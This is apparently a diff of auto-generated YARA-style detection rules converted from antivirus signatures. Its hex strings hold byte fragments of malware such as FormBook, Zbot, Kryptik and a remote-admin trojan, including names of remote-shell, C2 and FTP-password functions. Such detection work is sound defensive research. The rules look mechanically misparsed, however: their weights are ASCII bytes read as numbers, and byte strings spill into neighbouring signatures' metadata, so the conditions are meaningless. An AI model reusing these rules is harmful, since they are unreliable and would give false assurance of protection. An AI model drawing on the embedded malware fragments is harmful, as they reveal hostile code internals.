01 02 ff ff 33 8d 90 01 02 ff ff 0f b6 db 8b 4d ee 48 89 05 90 01 04 49 } //21539 $a_01_1 = {04 8d 4d 82 49 29 c8 89 5d ca 90 00 01 00 28 01 63 6f 6e 67 65 6e 69 74 61 6c 6c 79 5f 63 68 69 63 6b 65 6e 73 5f 68 79 70 65 72 73 65 6e 73 69 74 69 76 69 74 69 65 73 01 00 18 01 63 6f 6e 73 74 61 62 75 6c 61 72 69 65 73 43 69 70 72 6f 5f 68 69 6d 73 01 00 1a 01 70 61 69 6e 74 73 5f 62 69 65 6e 6e 69 61 6c 73 5f 69 6d 61 67 69 6e 69 6e 67 01 00 13 01 73 75 70 65 72 73 69 7a 65 73 5f 61 6d 62 69 65 6e 63 65 00 00 78 e0 00 00 06 } //-16185 - $a_48_3 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 53 36 21 4d 54 42 00 01 00 24 } //8448 - $a_36_4 = {33 63 39 31 61 2d 65 34 64 62 2d 34 34 64 32 2d 39 30 32 66 2d 37 61 63 37 61 34 66 32 66 36 36 35 01 00 29 81 01 52 65 6d 6f 74 65 45 6d 75 31 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 30 81 01 77 58 56 75 57 76 31 31 4b 43 61 66 78 51 62 } //385 + $a_41_3 = {46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 74 61 73 69 6e 67 65 72 2e 41 21 64 68 61 00 } //8448 + $a_01_4 = {67 65 74 5f 43 6d 64 44 61 74 61 } //1 get_CmdData condition: - ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-16185+(#a_48_3 & 1)*8448+(#a_36_4 & 1)*385) >=6 + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-16185+(#a_41_3 & 1)*8448+(#a_01_4 & 1)*1) >=6 } -rule _InfrastructureShared_14920{ +rule _InfrastructureShared_15896{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 74 61 73 69 6e 67 65 72 2e 41 21 64 68 61 00 01 00 0b 01 67 65 74 5f 43 6d 64 44 61 74 61 01 00 0d 01 67 72 6f 75 70 61 67 65 6e 74 63 32 63 01 00 17 01 47 65 74 41 67 65 6e } //16675 + $a_48_1 = {73 74 6e 61 6d 65 41 6e 64 49 64 03 00 23 01 50 44 5f 42 41 43 4b 45 4e 44 5f 47 65 74 5f 50 61 74 68 5f 43 6c 69 65 6e 74 5f 44 6f 77 6e 6c 6f 61 64 03 00 22 01 50 44 5f 42 41 43 4b 45 4e 44 5f 47 65 74 5f 43 6f 6e 66 69 67 5f 46 74 70 5f 50 61 73 73 77 6f 72 64 03 00 25 01 50 44 5f 42 41 43 4b 45 4e 44 5f 4f 70 65 6e 5f 43 6c 69 65 6e 74 5f 53 68 65 6c 6c 5f } //17012 + $a_5f_2 = {69 6c 65 00 00 78 e0 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 53 36 21 4d 54 42 00 01 00 24 81 01 63 36 62 33 63 39 31 61 2d 65 34 64 62 2d 34 34 64 32 2d 39 30 32 66 2d 37 61 63 37 61 34 66 32 66 36 36 35 01 00 29 81 01 52 65 6d 6f 74 65 } //28492 + $a_31_3 = {50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 30 81 01 77 58 56 75 57 76 31 31 4b 43 61 66 78 51 62 78 77 58 56 75 57 76 31 31 4b 43 61 66 78 51 62 78 77 58 56 75 57 76 31 31 4b 43 61 66 78 51 62 78 01 00 05 81 01 53 70 6c 69 74 01 00 06 81 01 4a 65 6e 64 65 72 01 00 0e 81 01 52 65 6d 6f 74 65 45 6d } //27973 + $a_6f_4 = {6d 00 00 78 e0 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 59 4e 31 32 33 21 4d 54 42 00 01 00 1d 81 01 75 72 74 69 63 61 63 65 6f 75 73 20 73 69 6c 64 65 62 } //12661 + $a_6d_5 = {73 74 72 65 6e 65 01 00 0e 81 01 76 69 70 20 73 74 61 72 6c 69 67 68 74 73 01 00 1e 81 01 6c 65 6d 66 6c 64 69 67 20 70 72 6f 64 75 6b 74 69 6f 6e 73 6b 61 70 61 63 69 74 65 74 73 01 00 1f 81 01 24 24 5c 76 69 72 6b 73 6f 6d 68 65 64 73 6b 75 6e 64 65 5c 75 6e 74 68 69 6e 6b 61 62 6c 65 01 00 1e 81 01 53 6f 66 74 77 61 72 65 5c 55 6e 66 6c 61 } //28261 + condition: + ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*17012+(#a_5f_2 & 1)*28492+(#a_31_3 & 1)*27973+(#a_6f_4 & 1)*12661+(#a_6d_5 & 1)*28261) >=6 + +} +rule _InfrastructureShared_15897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -171907,7 +183370,7 @@ rule _InfrastructureShared_14920{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*30061+(#a_56_2 & 1)*30584+(#a_32_3 & 1)*28265+(#a_65_4 & 1)*25970+(#a_6e_5 & 1)*29285) >=6 } -rule _InfrastructureShared_14921{ +rule _InfrastructureShared_15898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -171921,7 +183384,7 @@ rule _InfrastructureShared_14921{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*-32482+(#a_69_2 & 1)*27750+(#a_69_3 & 1)*28005+(#a_00_5 & 1)*105) >=6 } -rule _InfrastructureShared_14922{ +rule _InfrastructureShared_15899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -171936,7 +183399,7 @@ rule _InfrastructureShared_14922{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*99+(#a_4d_3 & 1)*25927+(#a_71_4 & 1)*21107+(#a_61_5 & 1)*28499+(#a_67_6 & 1)*26994) >=7 } -rule _InfrastructureShared_14923{ +rule _InfrastructureShared_15900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -171951,7 +183414,7 @@ rule _InfrastructureShared_14923{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*28483+(#a_80_3 & 1)*1+(#a_e0_4 & 1)*0+(#a_01_5 & 1)*26724+(#a_54_6 & 1)*21076) >=7 } -rule _InfrastructureShared_14924{ +rule _InfrastructureShared_15901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -171967,7 +183430,7 @@ rule _InfrastructureShared_14924{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29779+(#a_64_2 & 1)*25700+(#a_69_3 & 1)*28530+(#a_6f_4 & 1)*18222+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=7 } -rule _InfrastructureShared_14925{ +rule _InfrastructureShared_15902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -171983,7 +183446,7 @@ rule _InfrastructureShared_14925{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26998+(#a_73_2 & 1)*25458+(#a_6f_3 & 1)*29253+(#a_53_4 & 1)*21331+(#a_6f_5 & 1)*28704+(#a_73_6 & 1)*29472) >=7 } -rule _InfrastructureShared_14926{ +rule _InfrastructureShared_15903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -172000,7 +183463,7 @@ rule _InfrastructureShared_14926{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*25959+(#a_53_2 & 1)*-32758+(#a_65_3 & 1)*25938+(#a_72_4 & 1)*28001+(#a_6a_5 & 1)*27745+(#a_42_6 & 1)*19745+(#a_78_7 & 1)*29810) >=8 } -rule _InfrastructureShared_14927{ +rule _InfrastructureShared_15904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -172017,7 +183480,7 @@ rule _InfrastructureShared_14927{ ((#a_6c_0 & 1)*16675+(#a_65_1 & 1)*24423+(#a_01_2 & 1)*1+(#a_e0_3 & 1)*0+(#a_65_4 & 1)*24935+(#a_73_5 & 1)*19575+(#a_65_6 & 1)*25902+(#a_49_7 & 1)*19770) >=8 } -rule _InfrastructureShared_14928{ +rule _InfrastructureShared_15905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -172035,7 +183498,7 @@ rule _InfrastructureShared_14928{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25959+(#a_45_2 & 1)*384+(#a_65_3 & 1)*24898+(#a_6e_4 & 1)*29185+(#a_6f_5 & 1)*26478+(#a_90_6 & 1)*4127+(#a_fe_7 & 1)*0+(#a_4d_8 & 1)*1648) >=9 } -rule _InfrastructureShared_14929{ +rule _InfrastructureShared_15906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -172051,7 +183514,7 @@ rule _InfrastructureShared_14929{ ((#a_6c_0 & 1)*16675+(#a_65_1 & 1)*25972+(#a_01_2 & 1)*1+(#a_e0_3 & 1)*0+(#a_06_4 & 1)*2+(#a_54_5 & 1)*18467+(#a_00_7 & 1)*50) >=9 } -rule _InfrastructureShared_14930{ +rule _InfrastructureShared_15907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -172063,7 +183526,7 @@ rule _InfrastructureShared_14930{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*3416+(#a_6e_2 & 1)*27247) >=13 } -rule _InfrastructureShared_14931{ +rule _InfrastructureShared_15908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 07 00 21 " @@ -172077,7 +183540,7 @@ rule _InfrastructureShared_14931{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*50+(#a_65_4 & 1)*385+(#a_00_5 & 1)*17+(#a_61_6 & 1)*28530) >=15 } -rule _InfrastructureShared_14932{ +rule _InfrastructureShared_15909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -172093,7 +183556,7 @@ rule _InfrastructureShared_14932{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*5078+(#a_6f_3 & 1)*15360+(#a_43_4 & 1)*25927+(#a_04_5 & 1)*2820+(#a_50_6 & 1)*29797+(#a_61_7 & 1)*28015) >=17 } -rule _InfrastructureShared_14933{ +rule _InfrastructureShared_15910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -172110,7 +183573,7 @@ rule _InfrastructureShared_14933{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-13519+(#a_3a_2 & 1)*24938+(#a_2e_3 & 1)*28781+(#a_3a_4 & 1)*24938+(#a_11_5 & 1)*4952+(#a_8e_6 & 1)*2065+(#a_80_7 & 1)*2) >=17 } -rule _InfrastructureShared_14934{ +rule _InfrastructureShared_15911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 07 00 21 " @@ -172121,26 +183584,41 @@ rule _InfrastructureShared_14934{ $a_02_3 = {11 08 95 } //13312 $a_1f_4 = {5f 95 61 13 09 06 11 08 } //4358 $a_06_5 = {11 08 1f 0f 5f 95 11 09 61 20 90 02 04 58 9e 09 11 04 11 09 d2 9c 09 11 04 17 58 11 09 90 00 0a 00 2f 00 1e 64 d2 9c 09 11 04 18 58 11 09 1f 10 64 d2 9c 09 11 04 19 58 11 09 1f 18 64 d2 9c 11 04 1a 58 13 04 11 08 17 58 13 08 11 08 02 8e 69 32 9e 02 00 0d 80 01 52 65 73 6f 6c 76 65 4d } //3871 - $a_6f_6 = {02 00 0d 80 01 47 65 74 50 61 72 61 6d 65 74 65 72 73 02 00 0e 80 01 54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 02 00 10 80 01 47 65 74 45 6e 74 72 79 41 73 73 65 6d 62 6c 79 00 00 78 e1 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 31 31 21 4d 54 42 } //29797 + $a_6f_6 = {02 00 0d 80 01 47 65 74 50 61 72 61 6d 65 74 65 72 73 02 00 0e 80 01 54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 02 00 10 80 01 47 65 74 45 6e 74 72 79 41 73 73 65 6d 62 6c 79 00 00 78 e0 00 00 96 00 96 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 65 6d 6f 74 65 41 64 6d 69 6e 2e 41 46 21 } //29797 condition: ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26113+(#a_75_2 & 1)*30053+(#a_02_3 & 1)*13312+(#a_1f_4 & 1)*4358+(#a_06_5 & 1)*3871+(#a_6f_6 & 1)*29797) >=26 } -rule _InfrastructureShared_14935{ +rule _InfrastructureShared_15912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1c 00 1c 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 48 43 21 4d 54 42 00 0a 00 34 03 02 11 08 95 06 11 08 1f 0f 5f 95 61 13 09 06 11 08 1f 0f 5f 06 11 08 1f 0f 5f 95 11 09 61 20 90 02 04 58 9e 09 11 04 11 09 d2 9c 09 11 } //16675 $a_11_1 = {90 00 0a 00 2f 00 1e 64 d2 9c 09 11 04 18 58 11 09 1f 10 64 d2 9c 09 11 04 19 58 11 09 1f 18 64 d2 9c 11 04 1a 58 13 04 11 08 17 58 13 08 11 08 02 8e 69 32 9e 02 00 0d 80 01 52 65 73 6f 6c 76 65 4d 65 74 68 6f 64 02 00 0d 80 01 47 65 74 50 61 72 61 6d 65 74 65 72 } //5892 - $a_6f_3 = {61 73 65 36 34 53 74 72 69 6e 67 02 00 10 80 01 47 65 74 45 6e 74 72 79 41 73 73 65 6d 62 6c 79 00 00 78 e1 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 31 31 21 4d 54 42 00 01 00 b2 02 55 } //384 - $a_c4_4 = {01 01 90 02 10 c7 45 90 01 01 90 01 04 90 18 90 02 10 c7 45 90 01 01 90 01 04 90 18 90 02 10 c7 45 90 01 01 90 01 04 90 18 90 02 10 c7 45 90 01 01 90 01 04 90 02 10 be 90 01 04 90 02 0a 90 18 90 02 0a 4e 0f 85 90 01 04 90 18 90 02 1a ff 75 90 1b 0e 90 18 90 02 05 5a 90 18 90 02 0a 8b 4d 90 1b 02 90 18 90 02 10 01 4a 90 01 01 90 18 90 02 0a ff 75 90 1b 06 90 18 90 02 0a 58 90 18 90 02 0a 03 } //-4981 - $a_90_5 = {0a 51 90 18 90 02 0a 8f 45 90 1b 02 90 18 90 02 10 ff 4d 90 1b 0e 90 18 } //-28472 + $a_6f_3 = {61 73 65 36 34 53 74 72 69 6e 67 02 00 10 80 01 47 65 74 45 6e 74 72 79 41 73 73 65 6d 62 6c 79 00 00 78 e0 00 00 96 00 96 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 65 6d 6f 74 65 41 64 6d 69 6e 2e 41 46 21 4d 54 42 00 64 00 } //384 + $a_47_4 = {20 } //-32471 + $a_6c_5 = {20 49 44 3a 20 22 4a 7a 56 74 61 34 39 7a 59 69 4f 42 6b 69 48 6a 30 73 48 42 2f 55 64 74 71 75 38 0a 00 1e 81 01 63 6c 69 65 6e 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 6f 72 63 65 20 63 6c 6f 73 65 64 0a 00 1c 81 01 69 6e 76 61 6c 69 64 20 70 75 62 6c 69 63 20 6b 65 79 63 72 79 70 74 6f 2f 72 73 61 0a 00 0a 81 } //30050 condition: - ((#a_46_0 & 1)*16675+(#a_11_1 & 1)*5892+(#a_6f_3 & 1)*384+(#a_c4_4 & 1)*-4981+(#a_90_5 & 1)*-28472) >=28 + ((#a_46_0 & 1)*16675+(#a_11_1 & 1)*5892+(#a_6f_3 & 1)*384+(#a_47_4 & 1)*-32471+(#a_6c_5 & 1)*30050) >=28 } -rule _InfrastructureShared_14936{ +rule _InfrastructureShared_15913{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff96 00 ffffff96 00 06 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 65 6d 6f 74 65 41 64 6d 69 6e 2e 41 46 21 4d 54 42 00 64 00 29 81 01 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 4a 7a 56 74 61 34 39 7a 59 69 4f 42 6b 69 48 6a 30 73 } //21539 + $a_55_1 = {74 71 75 38 0a 00 1e 81 01 63 6c 69 65 6e 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 6f 72 63 65 20 63 6c 6f 73 65 64 0a 00 1c 81 01 69 6e 76 } //16968 + $a_64_2 = {70 75 62 6c 69 63 20 6b 65 79 63 72 79 70 74 6f 2f 72 73 61 0a 00 0a 81 01 63 72 79 70 74 6f 2f 61 65 73 0a 00 11 81 01 72 65 6d 6f 74 65 20 45 43 44 48 20 69 6e 70 75 74 0a 00 16 81 01 61 67 65 6e 74 73 2e 74 61 63 74 69 63 61 6c 72 6d 6d 2e 63 6f 6d 00 00 78 e1 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f } //27745 + $a_3a_3 = {69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 31 31 21 4d 54 42 00 01 00 b2 02 55 8b ec 83 c4 90 01 01 90 02 10 c7 45 90 01 01 90 01 04 90 18 90 02 10 c7 45 90 01 01 90 01 04 90 18 90 02 10 c7 45 90 01 01 90 01 04 90 18 90 02 10 c7 45 90 01 01 90 01 04 90 02 10 be 90 01 04 90 02 0a 90 18 90 02 0a 4e 0f 85 90 01 04 90 18 90 02 1a ff } //24938 + $a_0e_4 = {90 18 90 02 05 5a 90 18 90 02 0a 8b 4d 90 1b 02 90 18 90 02 10 01 4a 90 01 01 90 } //-28555 + $a_0a_5 = {ff 75 } //-28648 + condition: + ((#a_4c_0 & 1)*21539+(#a_55_1 & 1)*16968+(#a_64_2 & 1)*27745+(#a_3a_3 & 1)*24938+(#a_0e_4 & 1)*-28555+(#a_0a_5 & 1)*-28648) >=150 + +} +rule _InfrastructureShared_15914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -172150,7 +183628,7 @@ rule _InfrastructureShared_14936{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_14937{ +rule _InfrastructureShared_15915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -172161,7 +183639,7 @@ rule _InfrastructureShared_14937{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*92) >=1 } -rule _InfrastructureShared_14938{ +rule _InfrastructureShared_15916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -172173,7 +183651,7 @@ rule _InfrastructureShared_14938{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28539+(#a_01_2 & 1)*-31290) >=1 } -rule _InfrastructureShared_14939{ +rule _InfrastructureShared_15917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -172185,7 +183663,7 @@ rule _InfrastructureShared_14939{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 } -rule _InfrastructureShared_14940{ +rule _InfrastructureShared_15918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -172203,7 +183681,7 @@ rule _InfrastructureShared_14940{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_8b_2 & 1)*29697+(#a_51_3 & 1)*2084+(#a_24_4 & 1)*-29940+(#a_30_5 & 1)*8236+(#a_30_6 & 1)*300+(#a_2c_7 & 1)*2+(#a_5c_8 & 1)*13166) >=1 } -rule _InfrastructureShared_14941{ +rule _InfrastructureShared_15919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -172214,7 +183692,7 @@ rule _InfrastructureShared_14941{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*281) >=2 } -rule _InfrastructureShared_14942{ +rule _InfrastructureShared_15920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -172226,7 +183704,7 @@ rule _InfrastructureShared_14942{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30018+(#a_00_3 & 1)*108) >=2 } -rule _InfrastructureShared_14943{ +rule _InfrastructureShared_15921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -172240,7 +183718,7 @@ rule _InfrastructureShared_14943{ ((#a_54_0 & 1)*18467+(#a_ad_2 & 1)*-8517+(#a_75_3 & 1)*9284+(#a_63_5 & 1)*17863+(#a_31_6 & 1)*12338) >=2 } -rule _InfrastructureShared_14944{ +rule _InfrastructureShared_15922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -172255,7 +183733,7 @@ rule _InfrastructureShared_14944{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*17863+(#a_48_2 & 1)*6400+(#a_50_4 & 1)*-28608+(#a_02_5 & 1)*-1+(#a_61_6 & 1)*28530) >=2 } -rule _InfrastructureShared_14945{ +rule _InfrastructureShared_15923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -172271,7 +183749,7 @@ rule _InfrastructureShared_14945{ ((#a_46_0 & 1)*16675+(#a_ba_1 & 1)*656+(#a_37_2 & 1)*11569+(#a_00_3 & 1)*0+(#a_41_4 & 1)*8448+(#a_64_5 & 1)*25600+(#a_00_7 & 1)*111) >=2 } -rule _InfrastructureShared_14946{ +rule _InfrastructureShared_15924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -172283,7 +183761,7 @@ rule _InfrastructureShared_14946{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*92+(#a_79_2 & 1)*8244) >=3 } -rule _InfrastructureShared_14947{ +rule _InfrastructureShared_15925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -172294,7 +183772,7 @@ rule _InfrastructureShared_14947{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105) >=3 } -rule _InfrastructureShared_14948{ +rule _InfrastructureShared_15926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -172305,7 +183783,7 @@ rule _InfrastructureShared_14948{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*23296) >=3 } -rule _InfrastructureShared_14949{ +rule _InfrastructureShared_15927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -172315,7 +183793,7 @@ rule _InfrastructureShared_14949{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_14950{ +rule _InfrastructureShared_15928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -172325,7 +183803,7 @@ rule _InfrastructureShared_14950{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_14951{ +rule _InfrastructureShared_15929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -172337,7 +183815,7 @@ rule _InfrastructureShared_14951{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*2067+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_14952{ +rule _InfrastructureShared_15930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -172348,7 +183826,7 @@ rule _InfrastructureShared_14952{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_14953{ +rule _InfrastructureShared_15931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -172359,7 +183837,7 @@ rule _InfrastructureShared_14953{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*105) >=3 } -rule _InfrastructureShared_14954{ +rule _InfrastructureShared_15932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -172372,7 +183850,7 @@ rule _InfrastructureShared_14954{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*4039+(#a_46_2 & 1)*21283+(#a_69_3 & 1)*29797) >=3 } -rule _InfrastructureShared_14955{ +rule _InfrastructureShared_15933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -172385,7 +183863,7 @@ rule _InfrastructureShared_14955{ ((#a_46_0 & 1)*21283+(#a_69_1 & 1)*29797+(#a_6d_2 & 1)*25455+(#a_00_3 & 1)*119) >=3 } -rule _InfrastructureShared_14956{ +rule _InfrastructureShared_15934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -172399,7 +183877,7 @@ rule _InfrastructureShared_14956{ ((#a_46_0 & 1)*16675+(#a_3d_1 & 1)*25382+(#a_01_2 & 1)*3072+(#a_73_3 & 1)*10844+(#a_6c_4 & 1)*29797) >=3 } -rule _InfrastructureShared_14957{ +rule _InfrastructureShared_15935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -172413,7 +183891,7 @@ rule _InfrastructureShared_14957{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28781+(#a_65_2 & 1)*24946+(#a_58_3 & 1)*21024+(#a_73_4 & 1)*25955) >=3 } -rule _InfrastructureShared_14958{ +rule _InfrastructureShared_15936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -172428,7 +183906,7 @@ rule _InfrastructureShared_14958{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*-32744+(#a_64_2 & 1)*26723+(#a_67_3 & 1)*24936+(#a_6c_4 & 1)*29811+(#a_01_5 & 1)*28001) >=3 } -rule _InfrastructureShared_14959{ +rule _InfrastructureShared_15937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -172444,7 +183922,7 @@ rule _InfrastructureShared_14959{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_e1_5 & 1)*0+(#a_00_6 & 1)*103) >=3 } -rule _InfrastructureShared_14960{ +rule _InfrastructureShared_15938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -172457,7 +183935,7 @@ rule _InfrastructureShared_14960{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*302+(#a_00_2 & 1)*58+(#a_00_4 & 1)*111) >=4 } -rule _InfrastructureShared_14961{ +rule _InfrastructureShared_15939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -172470,7 +183948,7 @@ rule _InfrastructureShared_14961{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*300+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 } -rule _InfrastructureShared_14962{ +rule _InfrastructureShared_15940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -172485,7 +183963,7 @@ rule _InfrastructureShared_14962{ ((#a_4c_0 & 1)*21539+(#a_30_1 & 1)*30767+(#a_64_2 & 1)*11887+(#a_56_3 & 1)*21076+(#a_9c_4 & 1)*19715+(#a_48_5 & 1)*-183) >=4 } -rule _InfrastructureShared_14963{ +rule _InfrastructureShared_15941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -172499,7 +183977,7 @@ rule _InfrastructureShared_14963{ 